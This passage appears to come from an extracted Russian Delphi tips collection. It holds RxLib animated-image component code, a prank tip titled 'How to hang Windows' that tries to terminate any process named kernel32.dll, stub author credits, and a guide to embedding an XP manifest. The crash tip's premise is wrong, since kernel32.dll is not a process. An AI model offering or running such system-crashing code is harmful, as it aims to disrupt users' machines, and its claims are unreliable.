  if csDesigning in ComponentState then
    with Canvas do
    begin
      Pen.Style := psDash;
      Brush.Style := bsClear;
      Rectangle(0, 0, Width, Height);
    end;
end;

function TRxImageControl.DoPaletteChange: Boolean;
var
  ParentForm: TCustomForm;
  Tmp: TGraphic;
begin
  Result := False;
  Tmp := FGraphic;
  if Visible and (not (csLoading in ComponentState)) and (Tmp <>
    nil)
{$IFDEF RX_D3} and (Tmp.PaletteModified){$ENDIF} then
  begin
    if (GetPalette <> 0) then
    begin
      ParentForm := GetParentForm(Self);
      if Assigned(ParentForm) and ParentForm.Active and
        Parentform.HandleAllocated then
      begin
        if FDrawing then
          ParentForm.Perform(WM_QUERYNEWPALETTE, 0, 0)
        else
          PostMessage(ParentForm.Handle, WM_QUERYNEWPALETTE, 0, 0);
        Result := True;
{$IFDEF RX_D3}
        Tmp.PaletteModified := False;
{$ENDIF}
      end;
    end
{$IFDEF RX_D3}
    else
    begin
      Tmp.PaletteModified := False;
    end;
{$ENDIF}
  end;
end;

procedure TRxImageControl.PictureChanged;
begin
  if (FGraphic <> nil) then
    if DoPaletteChange and FDrawing then
      Update;
  if not FDrawing then
    Invalidate;
end;

{ TAnimatedImage }

constructor TAnimatedImage.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FTimer := TTimer.Create(Self);
  Interval := 100;
  FGlyph := TBitmap.Create;
  FGraphic := FGlyph;
  FGlyph.OnChange := ImageChanged;
  FGlyphNum := 0;
  FNumGlyphs := 1;
  FInactiveGlyph := -1;
  FTransparentColor := clNone;
  FOrientation := goHorizontal;
  FAutoSize := True;
  FStretch := True;
  Width := 32;
  Height := 32;
end;

destructor TAnimatedImage.Destroy;
begin
  FOnFrameChanged := nil;
  FOnStart := nil;
  FOnStop := nil;
  FGlyph.OnChange := nil;
  Active := False;
  FGlyph.Free;
  inherited Destroy;
end;

procedure TAnimatedImage.Loaded;
begin
  inherited Loaded;
  ResetImageBounds;
  UpdateInactive;
end;

function TAnimatedImage.GetPalette: HPALETTE;
begin
  Result := 0;
  if not FGlyph.Empty then
    Result := FGlyph.Palette;
end;

procedure TAnimatedImage.ImageChanged(Sender: TObject);
begin
  FTransparentColor := FGlyph.TransparentColor and not PaletteMask;
  DefineBitmapSize;
  AdjustBounds;
  PictureChanged;
end;

procedure TAnimatedImage.UpdateInactive;
begin
  if (not Active) and (FInactiveGlyph >= 0) and
    (FInactiveGlyph < FNumGlyphs) and (FGlyphNum <> FInactiveGlyph) then
  begin
    FGlyphNum := FInactiveGlyph;
  end;
end;

function TAnimatedImage.TransparentStored: Boolean;
begin
  Result := (FGlyph.Empty and (FTransparentColor <> clNone)) or
    ((FGlyph.TransparentColor and not PaletteMask) <>
    FTransparentColor);
end;

procedure TAnimatedImage.SetOpaque(Value: Boolean);
begin
  if Value <> FOpaque then
  begin
    FOpaque := Value;
    PictureChanged;
  end;
end;

procedure TAnimatedImage.SetTransparentColor(Value: TColor);
begin
  if Value <> TransparentColor then
  begin
    FTransparentColor := Value;
    PictureChanged;
  end;
end;

procedure TAnimatedImage.SetOrientation(Value: TGlyphOrientation);
begin
  if FOrientation <> Value then
  begin
    FOrientation := Value;
    DefineBitmapSize;
    AdjustBounds;
    Invalidate;
  end;
end;

procedure TAnimatedImage.SetGlyph(Value: TBitmap);
begin
  FGlyph.Assign(Value);
end;

procedure TAnimatedImage.SetStretch(Value: Boolean);
begin
  if Value <> FStretch then
  begin
    FStretch := Value;
    PictureChanged;
    if Active then
      Repaint;
  end;
end;

procedure TAnimatedImage.SetGlyphNum(Value: Integer);
begin
  if Value <> FGlyphNum then
  begin
    if (Value < FNumGlyphs) and (Value >= 0) then
    begin
      FGlyphNum := Value;
      UpdateInactive;
      FrameChanged;
      PictureChanged;
    end;
  end;
end;

procedure TAnimatedImage.SetInactiveGlyph(Value: Integer);
begin
  if Value < 0 then
    Value := -1;
  if Value <> FInactiveGlyph then
  begin
    if (Value < FNumGlyphs) or (csLoading in ComponentState) then
    begin
      FInactiveGlyph := Value;
      UpdateInactive;
      FrameChanged;
      PictureChanged;
    end;
  end;
end;

procedure TAnimatedImage.SetNumGlyphs(Value: Integer);
begin
  FNumGlyphs := Value;
  if FInactiveGlyph >= FNumGlyphs then
  begin
    FInactiveGlyph := -1;
    FGlyphNum := 0;
  end
  else
    UpdateInactive;
  FrameChanged;
  ResetImageBounds;
  AdjustBounds;
  PictureChanged;
end;

procedure TAnimatedImage.DefineBitmapSize;
begin
  FNumGlyphs := 1;
  FGlyphNum := 0;
  FImageWidth := 0;
  FImageHeight := 0;
  if (FOrientation = goHorizontal) and (FGlyph.Height > 0) and
    (FGlyph.Width mod FGlyph.Height = 0) then
    FNumGlyphs := FGlyph.Width div FGlyph.Height
  else if (FOrientation = goVertical) and (FGlyph.Width > 0) and
    (FGlyph.Height mod FGlyph.Width = 0) then
    FNumGlyphs := FGlyph.Height div FGlyph.Width;
  ResetImageBounds;
end;

procedure TAnimatedImage.ResetImageBounds;
begin
  if FNumGlyphs < 1 then
    FNumGlyphs := 1;
  if FOrientation = goHorizontal then
  begin
    FImageHeight := FGlyph.Height;
    FImageWidth := FGlyph.Width div FNumGlyphs;
  end
  else {if Orientation = goVertical then}
  begin
    FImageWidth := FGlyph.Width;
    FImageHeight := FGlyph.Height div FNumGlyphs;
  end;
end;

procedure TAnimatedImage.AdjustBounds;
begin
  if not (csReading in ComponentState) then
  begin
    if FAutoSize and (FImageWidth > 0) and (FImageHeight > 0) then
      SetBounds(Left, Top, FImageWidth, FImageHeight);
  end;
end;

type
  TParentControl = class(TWinControl);

Взято с http://delphiworld.narod.ru


Как повесить винду
Previous Top

uses TLHelp32;

const
  PROCESS_TERMINATE = $0001;
var
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
  ContinueLoop: BOOL;
begin
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  while integer(ContinueLoop) <> 0 do
  begin
    if LowerCase(ExtractFileName(
      (FProcessEntry32.szExeFile))) = 'kernel32.dll' then
      if not (TerminateProcess(
        OpenProcess(PROCESS_TERMINATE, BOOL(0),
        FProcessEntry32.th32ProcessID), 0)) then
        MessageBoxEx(Application.Handle,
          'Can`t kill windows kernel...',
          'Warning', MB_ICONWarning + MB_OK, $0419);
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

Автор: Nomadic

Взято с http://delphiworld.narod.ru


___Vit

 Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


__a_Kuzmenko

 Автор: Дмитрий Кузьменко (http://www.ibase.ru)


__a_Vit

 Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


__baltsoft

 Взято с Delphi Knowledge Base: http://www.baltsoft.com/


__Epsylon

 Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


__EpsylonIB

 Borland Interbase / Firebird FAQ
Borland Interbase / Firebird Q&A, версия 2.02 от 31 мая 1999
последняя редакция от 17 ноября 1999 года.
Часто задаваемые вопросы и ответы по Borland Interbase / Firebird
Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


__JINX

 Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


__Karapetyan

 Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


__Karapetyan2

 Даниил Карапетян.
На сайте http://delphi4all.narod.ru Вы найдете еще более 100 советов по Delphi.
Email: delphi4all@narod.ru


__kuliba

 Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


__mediaagentur

 Взято из http://www.lmc-mediaagentur.de/dpool


__swissdelphicenter

 Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Включение манифеста Windows XP в ресурсы приложения

Так как использование стандартного компонента TXPManifest требует настройки исходного манифеста Delphi для каждого проекта, было бы неплохо изыскать более удобный способ. В качестве альтернативы вы можете подключить манифест к файлу вашего проекта и по мере надобности редактировать его, не опасаясь, что ваша забывчивость может отразиться на версиях в манифестах других приложений.

Для начала необходимо создать исходный файл ресурса RC, включающий единственную строку:

1 24 "ХР.manifest"

где 1 — номер ресурса версии библиотеки ComCtl32.dll, а 24 — номер ресурса манифеста (нумерация соответствует заголовочным файлам, распространяемых Microsoft); "ХР.manifest" — имя файла с документом XML, содержащим манифест. Естественно, манифест нужно настроить в соответствии с потребностями вашего проекта.

Теперь нужно откомпилировать файл ресурса при помощи строчного компилятора-ресурсов \Delphi7\Bin\brcc32.exe и разместить его в папке проекта.

И последняя операция — добавьте в исходный код файла проекта директиву подключения ресурса манифеста:

{$R xpmanifest.res}

В результате при компиляции проекта манифест из ресурса будет добавлен в исполняемый файл приложения.